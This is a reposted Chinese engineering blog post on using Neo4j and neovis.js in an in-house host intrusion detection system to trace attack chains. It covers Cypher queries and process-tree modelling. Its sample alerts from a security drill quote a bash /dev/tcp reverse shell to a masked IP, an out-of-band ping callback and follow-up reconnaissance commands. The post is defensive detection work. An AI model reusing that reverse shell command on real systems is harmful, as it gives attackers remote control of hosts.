圖資料庫在主機安全的應用探索

qing_yun發表於2024-01-18

一、探索背景

隨著貨拉拉業務的擴大,分散在多朵雲環境,安全事件響應需要運營同學在多雲切換,部分安全策略黑盒運營,無法定製化,為減少多雲環境的運營成本,同時也需要主機的基礎資料能聯動其他安全產品,為此自研主機安全HIDS,在建設過程中跟業界產品一樣,除安全檢測功能在正常迭代完善外,也在探索溯源攻擊鏈路的機制,完整感知入侵行為,提高安全運營的MTTR,本文介紹基於圖資料庫在主機安全的安全事件應急研判和攻擊溯源的應用探索。

1.1 應急溯源痛點

當前在主機安全採集的基礎資料一般主要儲存在mysql、es和hive等資料庫,涉及的資料一般是主機的程式建立、檔案、網路連線、登入日誌等,其中程式是最重要的資料,其他資料都是在程式上產生的行為資料。

1)當前檢測場景更多偏向於發現主機入侵的某個單點告警,在攻擊動作中,可能分散在不同維度的告警,需要人工或者半自動化聚合更多安全資訊排查,除了在告警中富化輸出攻擊動作評分、關聯主機資產外,也經常需要使用Elasticsearch的Kibana儀表板去切換檢索多個日誌資料,如下圖 包括主機程式、網路連線、dns、檔案、登入等,安全運營綜合分析研判,在訊息數量大,依靠肉眼檢索排查,不直觀,排查時間短則10分鐘內,長則到小時級,效率低下,容易出現誤判。

2)部分安全場景檢測能力不足,在基於當前傳統資料庫下,在資料量大情況下,多級資料來源join查詢操作無法在有效的時間內計算出結果,無法滿足安全運營需求。

1.2 應急響應需求

在主機安全檢測到異常行為觸發告警時,需要安全運營做出如下分析判定:

基於告警內容上下文,快速研判攻擊是否真實發生;

還原攻擊者的入侵鏈路圖,在最短時間內定位入侵原因、制定應急決策;

評估攻擊受影響面,透過關聯分析,發掘更多的為未知威脅。

為此希望對主機內的所有程式、網路、檔案等基礎資料統一儲存和管理,進行綜合判斷實錘,圖資料庫正好滿足安全運營需求(資料統一儲存、攻擊動作關聯),為此基於主機的程式鏈來提高對安全事件的理解和分析能力,發現攻擊動作的完整鏈路,提高安全運營效率。

從形式上來說圖資料庫更接近於人類思維方式和現實世界萬事萬物的關聯性,例如下圖中警方調研案件的“線索板”,調查人員試圖理清的複雜案件網路,每個節點和連線都是解開案件謎團的一部分。

二、圖資料庫調研

2.1 開源圖資料庫

參考業界主流圖資料庫調研資料,有30多個指標,包括生態、功能、效能、工具鏈等維度。

圖資料庫選型比較:Neo4j、JanusGraph、HugeGraph(https://mp.weixin.qq.com/s/_kr-E6t2bnCkguBHtU-1vg)

Neo4j是老牌的圖資料庫,JanusGraph是非常成功的開源圖資料庫TitanDB的Fork版(TitanDB已經不維護了),HugeGraph是百度開源的圖資料庫。

另外還有像NebulaGraph(原阿里巴巴團隊創業開發)。

當時考慮優先快速支援和視覺化,使用最多的Neo4j圖資料庫先試用起來。

2.2 圖資料庫neo4j

Neo4j是一種圖形資料庫管理系統,它是高效能的NoSQL資料庫,專為儲存和處理大量複雜的關係資料而設計。與傳統的關聯式資料庫(如MySQL)不同,Neo4j使用圖結構來表示和查詢資料,這使得它非常適合於處理複雜網路和關係密集型資料。

在Neo4j中,資料被儲存為節點(entities)和關係(relationships)。

節點: 節點是圖中的基本元素,代表實體。每個節點可以有一個或多個標籤(Label),表示不同的類別或型別。節點還可以擁有屬性(Property),這些屬性儲存相關的資料,比如一個人的節點可能有姓名、年齡等屬性。

關係: 關係是連線兩個節點的線,代表節點之間的關聯。關係總是有方向,指從一個節點指向到另一個節點。關係也可以有型別和屬性。型別用於描述關係的性質,比如“朋友”、“屬於”等。

如下面是Neo4j原生查詢名字為鋼鐵俠的關係效果圖。

2.3 視覺化庫neovis.js

Neovis.js是一個基於JavaScript的庫,可以連線到Neo4j圖資料庫,並圖形化地展示Neo4j資料庫中的資料。開發者可以指定節點的標籤和屬性、自定義查詢語句,輕鬆建立動態的、互動式的圖形,展示節點和它們之間的關係,從而讓圖形資料的分析和展示變得直觀。

使用Neovis.js庫開發的前端頁面,相比於直接使用Neo4j提供的視覺化工具Neo4j Browser,有以下優勢:

  • 定製化的介面與功能:可以根據安全事件的特定需求來設計和實現介面和功能,比如特定的搜尋功能。

  • 提供URL溯源連結:在飛書訊息中點選連結一鍵查詢告警溯源鏈,免去逐個鍵入Cypher查詢語句的繁瑣步驟,這對於技術人員和非技術人員都能有更好的使用體驗。

  • 整合與擴充套件性:內部開發的前端頁面可以更容易地與現有工具整合,如與主機安全管理平臺等視覺化平臺的整合,此外還可以根據需求新增新的功能與擴充套件。

  • 持續反饋與迭代:基於使用反饋,可以更靈活地進行開發迭代與改進,確保持續滿足需求和預期。

如下圖是使用Neovis.js的一個效果圖,相比Neo4j自帶視覺化,效果更佳。

2.4 圖查詢語言Cypher

Neo4j使用Cypher查詢語言來查詢和操作圖形資料,這是一種專門為處理圖形資料設計的宣告性語言,允許使用ASCII字元來表示節點和關係,透過直觀的方式表達複雜的圖形查詢和資料操作。

Cypher的基本結構:

  • 節點:節點被表示為圓括號內的內容,類似於圖形中的圓圈。例如:(node)。

  • 關係:關係用箭頭和方括號表示。例如:(node1)-[RELATIONSHIP]->(node2)表示從 node1 到 node2 的一種關係。

  • 屬性:節點和關係都可以擁有屬性,這些屬性在圓括號()或方括號[]內用大括號{}表示。例如:(person {name: 'Alice'})表示一個名為Alice的person節點。

  • 標籤:節點可以有一個或多個標籤來區分不同型別的節點,用冒號:表示。例如:(person:User) 表示標籤為User的person節點。

常用的查詢語句有:

  • MATCH語句:用於指定圖中要查詢的模式,例如MATCH (n)-[r]->(m) 匹配從節點 n 到節點 m 的所有有向關係 r。

  • WHERE子句:用於新增條件以過濾結果,例如MATCH (n) WHERE n.name = 'Alice' RETURN n 會返回所有名為Alice的節點。

  • RETURN語句:指定要返回的資料,RETURN n,r,m 返回匹配的節點和關係。

Cypher查詢舉例:

“MATCH”語句匹配任何符合“WHERE”條件的直接或間接連線(星號表示任意長度路徑)節點n和節點m的路徑。WHERE語句篩選出pid屬性值為'1788'和ip屬性值為'10.xx.xx.16'的n節點,RETURN語句返回所有符合條件的節點和它們之間的關係。

MATCH (n)-[r*]-(m) 
WHERE n.pid='1788' AND n.ip='10.xx.xx.16' 
RETURN n, r, m

三、圖資料庫應用

3.1 圖資料處理流程

當前將主機安全產生的告警資料,關聯出對應的基礎資料一併接入圖資料庫,整體資料的量級在可接受範圍內。

3.2 圖資料建模

攻擊者執行命令控制操作產生一系列程式,程式發起網路連線請求傳輸資料,並可能產生檔案讀寫行為。根據主機入侵攻擊的操作動作,從程式的角度出發可以關聯出命令執行、網路連線、讀寫檔案,能夠快速分析出攻擊場景,還原出入侵行為攻擊的鏈路。為此主機安全在圖資料庫的知識建模,按程式維度拆分出圖的節點和關係型別。

圖節點型別: 伺服器host(主機ip),warning(告警),process(程式),file(檔案)、network(網路)等

圖關係型別:建立行為、觸發告警行為、產生外聯行為、開啟檔案行為等

1)主機建立子程式 (process)-[create]->(子process)

2) 程式讀寫檔案 (process)-[open]->(file)

3) 程式連線網路 (process)-[connect]->(network)

4) 程式觸發告警 (process)-[create]->(warning)

關係型別:

3.3 程式鏈父子關係

執行緒組:執行緒組是指共享同一個程式空間的一組執行緒。執行緒組ID(TGID)與主執行緒的執行緒ID(TID)相同,並用task_struct::tgid在核心中表示。

程式組:程式組是一組可能相互通訊的程式。如果一個程式fork出一個子程式,它們預設屬於同一個程式組。程式組ID(PGID)是這個組內首個程式的程式ID(PID)。

會話Session(sid),一系列程式組可以構成一個會話。通常,開啟一個shell會話就會建立一個新的會話。

例如:在bash shell下啟動一個名為thread_test的程式,這個程式首先建立一個執行緒,然後再 fork出一個程式, 檢視這個thread_test相關的各種id資訊:

1)主程式,新建立的執行緒和fork出的新程式,它們的tid均不相同,這是它們各自的真正的唯一標識;

2)主程式和建立的執行緒它們的pid和tgid是一樣的,是因為它兩個屬於同一個執行緒組,且這個執行緒組的ID就是主程式的TID;

3)主程式和建立的執行緒的父程式ID,即ppid是一樣的(1292449),這個ID其實就是bash shell程式的PID;fork的新程式的父 ID是 上面的主程式ID;

4)主程式,新建立的執行緒和fork出的新程式,它們的程式組id,即pgid是一樣的,都是這個主程式的pid, 因為它們同屬於同一個程式組;

當前是根據程式的pid、ppid、pgid來確定關聯同一個程式組、以及父子程式的關係。在同一pgid下,A程式的pid 等於 B程式的ppid,即建立節點並關聯:A --建立程式-->B

四、 主機安全效果

4.1 推送圖資料溯源鏈

以群機器人的形式推送飛書告警群,在安全告警附帶上圖資料庫溯源鏈的URL,運營同學點選超連結可跳轉到圖資料視覺化介面。

例如:某次安全演練效果,觸發多個高危告警

命令注入告警1:發現ping 命令注入動作

# IP:xxx
# Hostname:xxxx
# ScanTime:2023-11-20 10:45:21# Dtype:可疑命令注入
# Detail:
# 使用者:druid
# 程式exe:/usr/bin/ping
# 程式cmdline:ping -c 1 76b2npy07xxxxxx.yupie.oastify.com
# 當前目錄:/opt/apache-druid-0.*.2
# 終端:
# 父程式exe:/usr/local/jdk1.*.0_*/bin/java
# 父程式cmdline:/usr/local/java//bin/java -server -Xms1000m -Xmx1000m -XX:+ExitOnOutOfMemoryError -XX:+UseConcMarkSweepGC org.apache.druid.cli.Main server coordinator 
# 負責人:xxxx
# 部門:xxxxx
# 事件等級:緊急
# 事件評分:10
# 溯源鏈URL:

反彈shell告警2:發現bash -i反彈shell高危動作, 並告警出當前session會話(sid)中對應的操作(反彈shell之前的ping探測,之後執行id、whoami等動作)

# IP:xxxx
# Hostname:xxxx
# ScanTime:2023-11-20 10:50:03
# Dtype:反彈shell事件
# Detail:
# 執行模式:Machine
# 反彈型別:1
# 反彈程式:/usr/bin/bash
# 反彈引數:/bin/bash -i
# 父程式資訊:/usr/bin/bash
# 父程式引數:/bin/bash -c /bin/bash -i >& /dev/tcp/154.xx.xx.121/9999 0>&1 
# 反彈細節:Critical Reverse Shell 1: [/bin/bash -i -> /proc/12408/fd/0 -> socket:3822612837 -> tcp://154.xx.xxx.121:9999]
# 負責人:xxxx
# 部門:xxxx
# 事件等級:緊急
# 事件評分:10
# session操作序列:2023-11-20 10:03:52:open /Applications/Calculator.app
2023-11-20 10:45:21:ping -c 1 76b2npxxxxxx.yupie.oastify.com
2023-11-20 10:46:33:/bin/bash -c /bin/bash -i >& /dev/tcp/154.xxx.xxx.121/9999 0>&1
2023-11-20 10:46:33:/bin/bash -i
2023-11-20 10:46:33:/usr/bin/id -gn
2023-11-20 10:46:33:/usr/bin/id -u
2023-11-20 10:46:33:/usr/bin/id -un
2023-11-20 10:46:33:pkg-config --variable=completionsdir bash-completion
2023-11-20 10:46:33:tty -s
2023-11-20 10:51:00:whoami
2023-11-20 10:51:02:ls
# 溯源鏈URL:

此次安全演練的圖資料庫視覺化效果:

在圖資料庫介面中視覺化展示整個主機被入侵的行為動作鏈路;可以較直觀看到這次是從java服務某個入口產生的一系列行為動作,在圖分支中有可疑命令注入(ping) 、/usr/bin/bash 產生反彈shell以及網路外聯的ip埠(//154.xx.xx.121:9999),這直接對應到飛書告警訊息中描述的父程式引數和反彈細節。

相比在ES中切換檢索主機各方面資料效率提升很多。

4.2 日常圖查詢

透過Cypher查詢語句可以查詢具有特定 pid 和 ip 屬性的節點(別名為 n),以及與這個節點透過任意長度的路徑相連的所有其他節點(別名為 m),及其關係(別名為 r)。

MATCH (n)-[r*]-(m) WHERE n.pid='1788' AND n.ip='x.x.x.x' RETURN n, r, m

如果想查詢其他ip或者pid,可以在URL或者“Cypher query”框中鍵入查詢語句,會檢索圖資料庫並返回結果。

4.3 視覺化功能示例

1、滑鼠懸停在某節點上,可顯示某個節點細節,並且滑鼠滾輪支援展示皮膚的縮放

2、拖動節點位置後,節點會有移動慣性,“Stabilize”按鈕用來使移動的節點靜止,達到更好的現實效果:

五、總結和思考

當前貨拉拉資訊保安團隊將圖資料庫實踐應用到主機安全的溯源鏈路中,在實際安全演練有較好的效果,能夠提高安全運營的應急響應效率,未來也將持續迭代和完善,在溯源鏈路豐富更多的主機資料。我們也會將圖資料庫推廣應用到終端edr、縱深防禦、資料安全等領域的安全產品中,在縱深防禦中,期望能夠繪製出攻擊者整個畫像和攻擊路徑,看得清,看的全,提供層次化安全檢視,可以看到更清晰的多個安全單品的攻擊動作,並且能夠縮放到單品的細粒度程式級告警。

來自 “ 貨拉拉技術 ”, 原文作者:隋欣、周嶠;原文連結:https://mp.weixin.qq.com/s/bOO7CfQd5uScoBuTDynqWw,如有侵權,請聯絡管理員刪除。

相關文章